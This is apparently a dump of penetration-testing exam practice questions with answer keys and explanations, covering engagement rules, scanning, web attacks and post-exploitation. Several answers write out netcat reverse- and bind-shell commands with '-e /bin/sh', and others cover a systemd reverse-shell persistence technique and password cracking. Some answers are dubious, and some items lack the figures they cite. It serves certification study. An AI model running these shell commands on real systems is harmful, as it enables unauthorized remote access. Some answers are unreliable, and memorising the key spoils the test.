Which of the following should a penetration tester do NEXT after identifying that an application being tested has already been compromised with malware? A) Remove the malware immediately. B) Stop the assessment and inform the emergency contact. C) Collect the proper evidence and then remove the malware. D) Do a root-cause analysis to find out how the malware got in. E) Analyze the malware to see what it does.	Correct Answer: Stop the assessment and inform the emergency contact Explanation: The emergency contact is the party that can be contacted in case of particularly urgent matters. In some cases, it can be the same person as, for example, the technical contact. Ideally, the emergency contact should be available 24/7 or at least during the hours that the activity is being performed if done during business hours. Remember that you are doing a pentest, not Incident Response. If you identify a compromise, you should inform the client and stop your pentesting activities until approved to restart. Why not contact the Primary Contact instead? That was not one of the choices...

Which of the following BEST describes why a client would hold a lessons-learned meeting with the penetration-testing team? A) To ensure the penetration-testing team destroys all company data that was gathered during the test B) To provide feedback on the report structure and recommend improvements C) To discuss the findings and dispute any false positives D) To determine any processes that failed to meet expectations during the assessment	Correct Answer: To determine any processes that failed to meet expectations during the assessment Explanation: Reviewing Lessons Learned An important part of any project is to identify any lessons learned during the project. When you debrief within the penetration test team, you are likely to uncover things that did or did not work well. You can use this information to influence how you conduct future tests. The primary goal of drafting a lessons learned report (LLR) or after-action report (AAR) is to improve your PenTest processes and tools. Failing to learn from these lessons can lead to repeating the same mistakes, inefficient use of your time, inaccurate or compromised findings and conclusions, and more—all of which will make it much harder for you to gain the client's acceptance. When you draft an LLR, you should ask and answer several fundamental questions about the PenTest. Those questions can include: • What about the test went well? • What about the test didn't go well or didn't go as well as planned? • What can the team do to improve its people skills, processes, and technology for future client engagements? • What new vulnerabilities, exploits, etc., did the team learn about? • Do the answers to these questions necessitate a change in approach or testing methodology? • How will you remediate any issues that you identified?
A penetration tester runs the unshadow command on a machine. Which of the following tools will the tester most likely use NEXT? A) Mimikatz B) Cain and Abel C) Hydra D) John the Ripper	Correct Answer: John the Ripper Explanation: The Kali unshadow command to combines the /etc/passwd and /etc/shadow files into a single file so John the Ripper can use them
A penetration tester has obtained root access to a Linux-based file server and would like to maintain persistence after reboot. Which of the following techniques would BEST support this objective? A) Move laterally to create a user account on LDAP B) Run the nc -e /bin/sh <...> command. C) Create a one-shot systemd service to establish a reverse shell. D) Obtain /etc/shadow and brute force the root password.	Correct Answer: Create a one-shot systemd service to establish a reverse shell Explanation: In Linux, depending on the distribution /etc/init.d/ and /etc/systemd/ are examples of similar run-on-boot functionality. Creating your own systemd service that runs on boot will enable persistence after reboot
Which of the following is the MOST effective person to validate results from a penetration test? A) Client B) Chief Information Officer C) Third party D) Team leader	Correct Answer: Team leader Explanation: This question is not directly addressed in the LMS, but a look at the choices can help identify the best answer. At an organization, you should not expect the CIO or other client employee to have the knowledge required to validate the results of a pentest, although in your findings you should include steps that can be independently repeated so that the findings can be validated. Also, it is highly unlikely that a third party will be hired just to validate your pentest

	report findings without some regulatory requirement. Therefore, your pentest team leader will be the best person of the above to validate that the results of the overall team prior to submitting the formal report to the client
A penetration tester discovers that a web server within the scope of the engagement has already been compromised with a back-door. Which of the following should the penetration tester do NEXT? A) Utilize the backdoor in support of the engagement B) Inform the customer immediately about the backdoor C) Forensically acquire the backdoor Trojan and perform attribu-tion D) Continue the engagement and include the backdoor finding in the final report	Correct Answer: Inform the customer immediately about the backdoor Explanation: Hmmmm.... seeing a trend with these questions
A penetration tester was conducting a penetration test and dis-covered the network traffic was no longer reaching the client's IP address. The tester later discovered the SOC had used sinkholing on the penetration tester's IP address. Which of the following BEST describes what happened? A) The planning process failed to ensure all teams were notified B) The client was not ready for the assessment to start C) The penetration tester had incorrect contact information D) The penetration tester was testing the wrong assets	Correct Answer: The planning process failed to ensure all teams were notified Explanation: The main problem here is that the SOC and pentest team were not in proper communication before and during the test. It is the SOC's job to block malicious traffic, but the pentest is being done for the client. Doing a pentest is not, by default, a test of red on blue teams; prior coordination will prevent lost time and productivity
User credentials were captured from a database during an as-sessment and cracked using rainbow tables. Based on the ease of compromise, which of the following algorithms was MOST likely used to store the passwords in the database? A) bcrypt B) SHA-1 C) PBKDF2 D) MD5	Correct Answer: MD5 Explanation: MD5 is, by far, the weakest of these hashing algorithms
You work for Dion Training as a physical security manager. You are concerned that the physical security at the entrance to the compa-ny is not sufficient. To increase your security, you are determined to prevent piggybacking. What technique should you implement first?	Install an access control vestibule at the entrance
Which of the following commands should be run on an attacker's system to connect to a target with a bind shell running?	nc 192.168.1.53 31337 OBJ-3.7: A bind shell is established when a victim system "binds" its shell to a local network port. To achieve this using netcat, you should execute the command "nc -lp 31337 -e /bin/sh" on the victim machine. This sets up a listener on the machine on port 31337 and will execute the /bin/sh when another machine connects to its listener on port 31337. The attacker would enter the command "nc 192.168.1.53 31337" to connect to the victim's bind shell. A reverse shell is established when the target machine communicates with an attack machine listening on a specific port. To set up a listener on the attack machine, you would use the command "nc -lp 31337" on it. To connect to the attacking ma-chine from the victim machine, you would enter the command "nc 192.168.1.53 31337 -e /bin/sh" on it.
What type of technique does exploit chaining often implement?	Injecting parameters into a connection string using semicolons as a separator
Your team is simulating an advanced persistent threat as part of an ongoing penetration test. Your team's objective is to conduct data exfiltration from the targeted server while avoiding detection. When you arrived at work this morning, you reviewed the weekly network utilization report for the organization's servers and found the following: Based on the report above, which server might the target or-	OBJ-3.7: Due to the considerable increase in network utilization on dbserve02, it will likely be suspected of compromise by the defenders and be investigated further for evidence of your team's activities. The server has a historical average utilization of only 5.42 GB per week, but this week there has been an increase to 27.3 GB of usage. This increase is nearly 6x more than the previous week when all the other servers stayed relatively con-stant. This indicates a possible compromise of the database server

ganization suspect has been the victim of data exfiltration and investigate further to find evidence of your team's activities?	(dbserve02) and should be investigated as a potential data breach or data exfiltration by the organization's cyber defense team.
Fail to Pass Systems has just become the latest victim in a large-scale data breach by an APT. Your initial investigation confirms a massive exfiltration of customer data has occurred. Which of the following actions do you recommend to the CEO of Fail to Pass Systems in handling this data breach?	Conduct notification to all affected customers within 72 hours of the discovery of the breach
You are working as part of a DevSecOps team at Dion Training on a new practice exam Android application. You need to conduct static analysis on the APK (Android PacKage) as part of your software assurance responsibilities. Which actions should you use to convert the APK back into the source code to analyze the type of information an attacker might gain during reverse engineering the APK?	Convert the DEX to a JAR file and then decompile the JAR into Java OBJ-3.5: Android apps come packaged as APKs (Android PacKages). The APK contains all the application files, including the DEX file (Android bytecode/binary). To reverse the APK into the source code to conduct a static analysis, you can convert the DEX file to a JAR (Java Archive) file. Then, you can decompile the JAR file into Java source code using a decompiler. While the specifics on how to do all of this are beyond the exam's scope, you should understand the concepts and basic steps involved per the exam objectives.
You are interpreting a Nessus vulnerability scan report and identified a vulnerability in the system with a CVSS attack vector rating of P. Based on this information, which of the following statements would be true?	The attacker must have access to the physical medium of affected system OBJ 2.4: An attack vector of Physical (P) would require the attacker to physically touch or manipulate the vulnerable component themselves, such as conducting a cold boot attack. An A rating refers to Adjacent, where the attacker must launch the attack from the same shared physical (such as Bluetooth or Wi-Fi network), logical network (such as a local subnet), or a limited administrative domain (such as a VPN or MPLS). An attack vector of Network (N) would allow the attack to extend beyond these options and conduct remote exploitation of the vulnerability. An attack vector of Local (L) would require the attacker to locally exploit the workstation via the keyboard or over an SSH connection.
You are planning to exploit a network-based vulnerability against an organization as part of a penetration test. You attempted to connect your laptop to the network jack in their conference room. You found yourself in the highly restricted VLAN that the organization allows its visitors to connect to when conducting presentations. This VLAN only allows you to access the internet, not the internal network. You decide you need to conduct VLAN hopping. Which of the following methods would be MOST likely to succeed?	Poison or overflow the MAC table of the switch OBJ-3.1: VLAN hopping is the act of illegally moving from one VLAN to another. A VLAN (virtual LAN) is a logical grouping of switch ports extending across any number of switches on an Ethernet network. One of the most common VLAN hopping methods is to overflow the MAC table on a vulnerable switch. When this occurs, the switch defaults to operating as a hub and repeats all frames being received through all of its ports. This "fail open" method ensures the network can continue to operate, but it is a security risk that can be exploited by the penetration tester.
A cybersecurity analyst conducts proactive threat hunting on a network by correlating and searching the Sysmon and Windows Event logs. The analyst uses the following query as part of their hunt: Based on the query above, which of the following potential indicators of compromise is the threat hunter relying on?	Unauthorized software OBJ-3.7: This is a difficult question, but you should see a keyword in the query, "mimikatz." Mimikatz is a leading post-exploitation tool that dumps passwords from memory, as well as hashes, PINs, and Kerberos tickets. Other useful attacks it enables are pass-the-hash, pass-the-ticket, or building Golden Kerberos tickets. This makes post-exploitation lateral movement within a network easy for attackers. It is considered unauthorized software and should be immediately alerted upon if discovered in your network. Data exfiltration is the process by which an attacker takes data that is stored inside of a private network and moves it to an external network. Processor consumption is an IoC that monitors the per-process percentage of CPU time to show what causes the problem. Irregular peer-to-peer communication occurs when hosts within a network establish connections over unauthorized ports or data transfers.
You are analyzing the vulnerability scanning results from a recent web vulnerability scan in preparation for the exploitation phase of	Information disclosure OBJ-2.4: Information disclosure is any condition that allows the attacker to gain access to protected information. In this case, the

an upcoming assessment. A portion of the scan results is shown below. Which exploit is the website vulnerable to based on the results?	server is vulnerable to disclosing information about the version of PHP being used. The phpinfo.php file should not be accessible to remote users over the internet, as it can be used to provide them with valuable information to help plan an attack.
Which of the following commands should be run on an attacker's system to configure it to accept a connection from a target configured to run a reverse shell?	nc -lp 31337 OBJ-3.7: A reverse shell is established when the target machine communicates with an attack machine listening on a specific port. To set up a listener on the attack machine, you would use the command "nc -lp 31337" on it. To connect to the attacking machine from the victim machine, you would enter the command "nc 192.168.1.53 31337 -e /bin/sh" on it. A bind shell is established when a victim system "binds" its shell to a local network port. To achieve this using netcat, you should execute the command "nc -lp 31337 -e /bin/sh" on the victim machine. This sets up a listener on the machine on port 31337 and will execute the /bin/sh when another machine connects to its listener on port 31337. The attacker would enter the command "nc 192.168.1.53 31337" to connect to the victim's bind shell.
Which of the following is a characteristic of a Blind SQL Injection vulnerability?	The attacker cannot see any of the display errors with information about the injection during a blind attack
Consider the following REGEX search string: Which of the following strings would NOT be included in the output of this search? 37.259.129.207	OBJ-5.2: The \b delimiter indicates that we are looking for whole words for the complete string. The REGEX is made up of four identical repeating strings, (25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.". For now, let us refer to these octets, such as the ones used in internet protocol version 4 addresses. Each octet will allow the combination of 25[0-5] OR (|) 2[0-4][9-] OR numbers 00-99 is preceded by (?) a 0 or 1, or just a single number followed by a ".". Since the period is treated as a special character in a REGEX operator, the escape character (\) is required to enable the symbol to act as a dot or period in the output. This sequence repeats four times, allowing for all variations of normal IP addresses to be entered for values 0-255. Since 259 is outside the range of 255, this is rejected. More specifically, character strings starting with 25 must end with a number between 0 and 5 (25[0-5]). Therefore, 259 would be rejected. Now, on exam day, if you received a question like this, you can try to figure out the pattern as explained above, or you can take the logical shortcut. The logical shortcut is to look at the answer first and see that they all look like IP addresses. Remember, grep and REGEX are used by a cybersecurity analyst to search logs for indicators of compromise (like an IP address), so don't be afraid to take a logical guess if you need to conserve time during your exam. So, which one isn't a valid IP address? Clearly, 37.259.129.107 is not a valid IP address, so if you had to guess as to what wouldn't be an output of this complex-looking command, you should guess that one!
What should a vulnerability report include if a cybersecurity analyst wants it to reflect the assets scanned accurately?	OBJ-2.4: Vulnerability reports should include both the physical hosts and the virtual hosts on the target network. A common mistake of new cybersecurity analysts is to include physical hosts, thereby missing many network assets.
A coworker is conducting open-source intelligence gathering for an upcoming penetration test against Dion Training. You look over their shoulder and see them enter the following URL, https://www.google.com/search?q=password+filetype%3Axls+site%3Adiontraining.com&pws=0&filter=p. Which of the following is true about the results of this search? (SELECT THREE)	Personalization is turned off Returns only files hosted at diontraining.com Returns only Microsoft Excel spreadsheets OBJ-2.1: The above example searches for files with the name "password" in them (q=password) and (+) have a filetype equal to xls (filetype%3Axls, %3A is the hex-code for ':') and (+) limits the results to files hosted on diontraining.com (site%3Adiontraining.com) and (&) disables personalization (pws=0) and (&) deactivates the directory filtering function (filter=p). If you wanted to exclude Microsoft Excel spreadsheets, this would be done by typing -filetype%3Axls as part of the search query. To find related websites or pages, you would include the "related:" term to the

	query. To deactivate all filters from the search, the "filter=0" should be used. To deactivate the directory filtering function, the "filter=p" is used.
Jay is replacing his organization's current vulnerability scanner with a new tool. As he begins to create the scanner's configurations and scanning policy, he notices a conflict in the settings recommended between different documents. Which of the following sources must Jay follow when trying to resolve these conflicts?	Corporate policy: OBJ-2.4: Policies are formalized statements that apply to a specific area or task. Policies are mandatory, and employees who violate a policy may be disciplined. Guidelines are general, non-mandatory recommendations. Best practices are considered procedures that are accepted as being correct or most effective but are not mandatory to be followed. Configuration settings from the prior system could be helpful, but this is not a mandatory compliance area like a policy. Therefore, Jay should first follow the policy before the other three options if there is a conflict.
You are an analyst and have been asked to review and categorize the following output from a packet analysis in Wireshark: Based on your review, what does this scan indicate?	This appears to be normal network traffic OBJ-2.3: This appears to be normal network traffic. The first line shows that a DNS lookup was performed for a website (test.diontraining.com). The second line shows the response from the DNS server with the IP address of the website. The third line begins a three-way handshake between an internal host and the website. The fourth line is the SYN-ACK response from the website to the internal host as part of this handshake. The fifth line is a standard Windows NetBIOS query within the local area network to translate human-readable names to local IP addresses. The sixth and seventh lines appear to be inbound requests to port 443 and port 8080, both of which were sent the RST by the internal host's firewall since it is not running those services on the host. None of this network traffic appears to be suspicious.
You are analyzing the vulnerability scanning results from a recent web vulnerability scan in preparation for the exploitation phase of an upcoming assessment. A portion of the scan results is shown below. Which exploit is the website vulnerable to based on the results?1	XSS OBJ-2.4: Cross-site scripting exploits a vulnerability with a malicious script injected into a trusted website and then downloaded and executed by a user's browser. In this scan result, you can see that the parameter for the name that was posted included some javascript (onload, this.src). This result shows that this site is vulnerable to a cross-site scripting attack.
A cybersecurity analyst just finished conducting an initial vulnerability scan and is reviewing their results. To avoid wasting time on results that are not related to actual vulnerabilities, the analyst wants to remove any false positives before remediating the findings. Which of the following is an indicator that something in their results would be a false positive?	Items classified by the system as Low or as For Informational Purposes Only OBJ-2.4: When conducting a vulnerability scan, it is common for the report to include some findings that are classified as "low" priority or "for informational purposes only." These are most likely false positives and can be ignored by the analyst when starting their remediation efforts. "An HTTPS entry that indicates the web page is securely encrypted" is not a false positive but a true negative (a non-issue). A scan result showing a different version from the automated asset inventory should be investigated and is likely a true positive. A finding that shows the scanner compliance plug-ins are not up-to-date would likely also be a true positive that should be investigated.
Ryan needs to verify the installation of a critical Windows patch on his organization's workstations. Which method would be the most efficient to validate the current patch status for all of the organization's Windows 10 workstations?	Use an endpoint manager to validate patch status for each machine on the domain OBJ-4.2: The Microsoft Endpoint Configuration Manager (MECM) provides remote control, patch management, software distribution, operating system deployment, network access protection, and hardware and software inventory. In an Azure environment, you can also use the Update Compliance tool to monitor your device's Windows updates, Windows Defender anti-virus status, and the up-to-date patching status across all of your Windows 10 workstations. In previous Windows versions, you could use the Microsoft Baseline Analyzer (MSBA), but that is no longer supported when Windows 10 was introduced. A PowerShell script may be a reasonable option, but it would take a knowledgeable analyst to create the script and scan the network, whereas using

	SCCM is easier and quicker. Manually checking the Update History or registry of each system could also work, but that is very time-consuming and inefficient, especially if Ryan is supporting a large network.
During a penetration test, you conduct an exploit that creates a denial of service condition by crashing the httpd server. What should you do?	Immediately contact the organization and inform them of the issue OBJ-4.3: If at any point during an assessment, an issue arises due to your actions, then you should immediately stop exploitation and contact the trusted point of contact provided by the organization. You should not continue your exploitation or pivot to another machine. While you may contact the organization's customer service department, you first need to verify if that is part of the allowed communication procedures outlined in the assessment plan. If you are conducting a red team event, the customer service team may be the target and not be informed of the issues directly. As a pentester, you should notify your trusted point of contact within the organization, per your approved test plan.
You conducted a security scan and found that port 389 is being used when connecting to LDAP for user authentication instead of port 636. The security scanning software recommends that you remediate this by changing user authentication to port to 636 wherever possible. What should you do?	Change all devices and servers that support it to port 636 since encrypted services run by default on port 636
An insurance company has developed a new web application to allow its customers to choose and apply for an insurance plan. You have been asked to help perform a security review of the new web application. You have discovered that the application was developed in ASP and used MSSQL for its backend database. You have been able to locate an application's search form and introduced the following code in the search input field: When you click submit on the search form, your web browser returns a pop-up window that displays Vulnerable_to_Attack. Which of the following vulnerabilities did you discover in the web application?	OBJ-3.3: This is a form of Cross-Site Scripting (XSS). Cross-site scripting (XSS) is a type of computer security vulnerability typically found in web applications. XSS enables attackers to inject client-side scripts into web pages viewed by other users. Attackers may use a cross-site scripting vulnerability to bypass access controls such as the same-origin policy. Cross-site request forgery (CSRF or XSRF) is a malicious exploit of a website where unauthorized commands are transmitted from a user that the web application trusts. There are many ways in which a malicious website can transmit commands, such as specially-crafted image tags, hidden forms, and JavaScript XMLHttpRequests can all work without the user's interaction or even knowledge. SQL injection is a code injection technique used to attack data-driven applications. Malicious SQL statements are inserted into an entry field for execution, such as dumping the database contents to the attacker. Command injection is an attack in which the goal is to execute arbitrary commands on the host operating system via a vulnerable application. Command injection attacks are possible when an application passes unsafe user-supplied data (forms, cookies, HTTP headers, etc.) to a system shell
Which of the following would trigger the penetration test to stop and contact the system owners during an engagement?	Discovery of a production server with its log files deleted OBJ-4.3: The penetration testing team should have a direct communication path with the system owners or their trusted agents during an engagement. Suppose the team discovers any security breaches, current hacking activity, extremely critical findings on a production server, or a production server becomes unresponsive during exploitation. In that case, the team should stop what they are doing and contract their trusted point of contact within the organization to get further guidance. Deleted log files should be considered an indicator of compromise and should be investigated by the company's security team before you continue with your engagement.
	XSS: OBJ-3.3: This is an example of an XSS attack as recorded by a web server's log. In this example, the XSS attack was obfuscated by the attacker using HTML encoding. The encoding of %27%27 translates to two single quote marks (' '). While you don't need to be able to decode the exact string used in the logs, when you see HTML encoding on the exam, it is usually going to be an XSS attack unless you see SQL or XML statements in the

You are analyzing the logs of a web server and see the following entry: Based on this entry, which of the following attacks was attempted?	string, which in this case there are neither of those. Cross-site scripting (XSS) attacks use a specially crafted URL that includes attack code that will cause user information entered into their web browser to be sent to the attacker. An attacker finds a web server vulnerable to XSS and sends a legitimate-looking URL with XSS attack code appended to the end of the URL through a phishing email or other message to trick the user into clicking the link. A buffer overflow attempts to write data to a buffer that overruns the buffer's boundary and writes data into the adjacent memory locations, which is not occurring in this example.
A cybersecurity analyst is working at a college that wants to increase its network's security by implementing vulnerability scans of centrally managed workstations, student laptops, and faculty laptops. Any proposed solution must scale up and down as new students and faculty use the network. Additionally, the analyst wants to minimize the number of false positives to ensure accuracy in their results. The chosen solution must also be centrally managed through an enterprise console. Which of the following scanning topologies would be BEST able to meet these requirements?	Active scanning engine installed on the enterprise console OBJ-2.4: Since the college wants to ensure a centrally-managed enterprise console, an active scanning engine installed on the enterprise console would best meet these requirements. The college's cybersecurity analysts could then perform scans on any devices connected to the network using the active scanning engine at the desired intervals. Agent-based scanning would be ineffective since the college cannot force the agents' installation onto each of the personally owned devices brought in by the students or faculty. A cloud-based or server-based engine may be useful, but it won't address the centrally-managed requirement. Passive scanning is less intrusive but is subject to a high number of false positives.
You have been hired to conduct a compliance-based, external network penetration test for an organization. During the engagement planning, you determined that the client has an IPS protecting their network and your team has spent 1 week already trying to bypass it. Since you only have 1 week left in the assessment, you have requested to have your source IP added to the allow list in the IPS during the engagement. The client states that they do not want to add you to their allow list since the IPS is properly blocking you as an attacker. Which of the following should you tell the client?	Adding the source IP to the allow list will allow the penetration testers to focus on the discovery of security issues within the systems instead of relying solely on the effectiveness of the IPS.
You have been hired to conduct an external PCI-DSS audit of a merchant that processes between 20,000 and 1,000,000 credit card transactions per year. Which level would this merchant be categorized as?	OBJ-1.1: This is a level 3 merchant. Under the PCI-DSS compliance rules, a merchant who is categorized as a level 2, level 3, or level 4 must have an external auditor conduct an annual audit or submit documentation of a self-test proving they took active steps to secure their credit card processing infrastructure. Level 1 is a large merchant with over 6,000,000 transactions per year. Level 2 is a merchant with 1,000,000 to 5,999,999 transactions per year. Level 3 is a merchant with 20,000 to 1,000,000 transactions per year. Level 4 is a small merchant with under 20,000 transactions per year.
During your annual cybersecurity awareness training in your company, the instructor states that employees should be careful about what information they post on social media. According to the instructor, if you post too much personal information on social media, such as your name, birthday, hometown, and other personal details, it is much easier for an attacker to conduct which type of attack to break your passwords?	OBJ-3.1: A cognitive password is a form of knowledge-based authentication that requires a user to answer a question, presumably something they intrinsically know, to verify their identity. If you post a lot of personal information about yourself online, this password type can easily be bypassed. For example, during the 2008 elections, Vice Presidential candidate Sarah Palin's email account was hacked because a high schooler used the "reset my password" feature on Yahoo's email service to reset her password using the information that was publically available about Sarah Palin (like her birthday, high school, and other such information).
Alex is conducting a penetration test of Dion Training's network. Alex wants to establish a reverse shell from the target to his attack	nc 45.58.12.123 52154 -e /bin/sh OBJ-3.7: A reverse shell is a shell initiated from the target host back to the attacker's workstation that puts the target into a listening state to capture the shell. A reverse shell is commonly used to avoid detection and bypass firewalls located at the targeted organization. Netcat (nc) is an open-source networking utility for

workstation. His attack workstation has a netcat listener setup on port 52154 and has a public IP address of 45.58.12.123. Which of the following commands would Alex issue on the target host to create a reverse shell using netcat?	debugging and investigating the network, and that can be used to create TCP/UDP connections and investigate them. It is extremely popular with penetration testers and attackers alike due to its multiple use cases. You should be familiar with setting up a listener and establishing a connection to the listener using netcat. Using the -lp option sets up a listener on the machine using the port specified (52154 in this scenario). To start the connection to the listener, you would enter "nc <IPADDR> <PORT> -e <SHELL>" substituting the details for each parameter in each set of brackets.
You are conducting a vulnerability assessment when you discover a critical web application vulnerability on one of your Apache servers. Which of the following files would contain the Apache server's logs if your organization uses the default naming convention?	access_log OBJ-2.3: On Apache web servers, the logs are stored in a file named access_log. By default, the file can be located at /var/log/httpd/access_log. This file records all requests processed by the Apache server. The WebSphere Application Server uses the httpd_log file for z/OS, which is a very outdated server from the early 2000s. The http_log file is a header class file in C used by the Apache web server's pre-compiled code that provides the logging library but does not contain any actual logs itself. The file called apache_log is an executable program that parses Apache log files within in Postgres database.
You are currently conducting passive reconnaissance in preparation for an upcoming penetration test against Dion Training. You attempted to run a Google hacking query by entering the following search options: "password inurl:diontraining.com". Which of the following results might be returned by your search parameters?	https://www.comptia.org/diontraining.com OBJ-2.1: The inurl modifier is used to search for any pages whose URLs include the term specified and have the search term anywhere on the page. For example, password inurl:diontraining.com would return only page results whose URLs include the text "diontraining.com" and have the text "password" somewhere on the page.
You are scheduled to conduct a physical penetration test against an organization. You need to access the building when many other employees are arriving at work in the morning. Which of the following methods would be the MOST effective to utilize?	OBJ-3.6: Tailgating is an attack where the attacker slips in through a secure area by following an authorized employee. The employee doesn't know that anyone is behind them. When trying to enter a building during the morning rush, it is common that other friendly employees will either hold the door open for you (piggybacking) or will open the door for themselves but not push it closed behind them as they walk through it. This would be the perfect time to use tailgating to get into the building. Lock picking is a skill using specialized tools to manipulate the components of a lock to gain access to a restricted area. Fence jumping involves climbing over a fence to breach the physical perimeter of a building. Badge cloning is the act of copying authentication data from an RFID badge's microchip to another badge, which can be done through handheld RFID writers, which are inexpensive and easy to use.
You are conducting a penetration test against an organization. You created an evil twin of their wireless network. Many of the organization's laptops are now connected to your evil twin access point. You want to capture all of the victim's web browsing traffic in an unencrypted format during your attack. Which of the following exploits should you utilize to meet this goal?	Perform an SSL stripping attack OBJ-3.1: An SSL stripping attack, also known as an HTTP downgrade attack, forces the client to communicate with the web server in plain text (unencrypted) over HTTP instead of HTTPS. Both SSL downgrade and SSL stripping attacks are used to force the victim into using a weaker encryption mechanism (SSL downgrade to SSL-based HTTPS) or no encryption (SSL stripping to HTTP) for its web traffic.
During the reconnaissance phase of a penetration test, you have determined that your client uses several networked devices that rely on an embedded operating system. Which of the following	Use web-based exploits against the devices web interfaces OBJ-3.5: Most embedded operating systems use a web interface to access their configurations for setup and installation. Focusing on this web interface and using common web-based exploits is usually one of the best methods of exploiting a device with an embedded OS. Jailbroken devices refer to iPhones and iPads that have been configured to give the user root access to the underlying operating system. Spearphishing campaigns are not

methods would MOST likely be the best method for exploiting these?	usually used against an embedded operating system since many of these devices are not used directly by an end-user. A malicious APK would be used to target an Android-based operating system and most embedded operating systems are based on Linux and not Android.
During a business trip, Bobby connects to the hotel's wireless network to send emails to some of his clients. The next day, Bobby notices that additional emails have been sent out from his account without consent. Which of the following protocols was MOST likely used to compromise Bobby's email password utilizing a network sniffer?	HTTP OBJ-3.1: HTTP is an unsecured protocol, and information is passed without encryption. If the user signed into their webmail over HTTP instead of HTTPS, a network sniffer could compromise the username and password. Additionally, if the user was using an email client, then the SMTP connection could have been compromised, but since that wasn't an option in this question, we must assume Bobby used a webmail client over HTTP instead.
Christina is conducting a penetration test against Dion Training's network. The goal of this engagement is to conduct data exfiltration of the company's exam database without detection. Christina enters the following command into the terminal: Next, Christina emailed the beachpic.png file to her personal email account. Which of the following techniques did she use to exfiltrate the file?	Alternate data streams OBJ-3.7: An alternate data stream (ADS) is a feature of Microsoft's NT File System (NTFS) that enables multiple data streams for a single file name by forking one or more files to another. ADS can be abused by hiding one file into another, as shown in this scenario. Once received in her email, she could access the database by opening the file as "beachpic.png:exams.db".
During a business trip, Bobby connects to the hotel's wireless network to send emails to some of his clients. The next day, Bobby notices that additional emails have been sent out from his account without consent. Which of the following protocols was MOST likely used to compromise Bobby's email password utilizing a network sniffer?1	HTTP: OBJ-3.1: HTTP is an unsecured protocol, and information is passed without encryption. If the user signed into their webmail over HTTP instead of HTTPS, a network sniffer could compromise the username and password. Additionally, if the user was using an email client, then the SMTP connection could have been compromised, but since that wasn't an option in this question, we must assume Bobby used a webmail client over HTTP instead.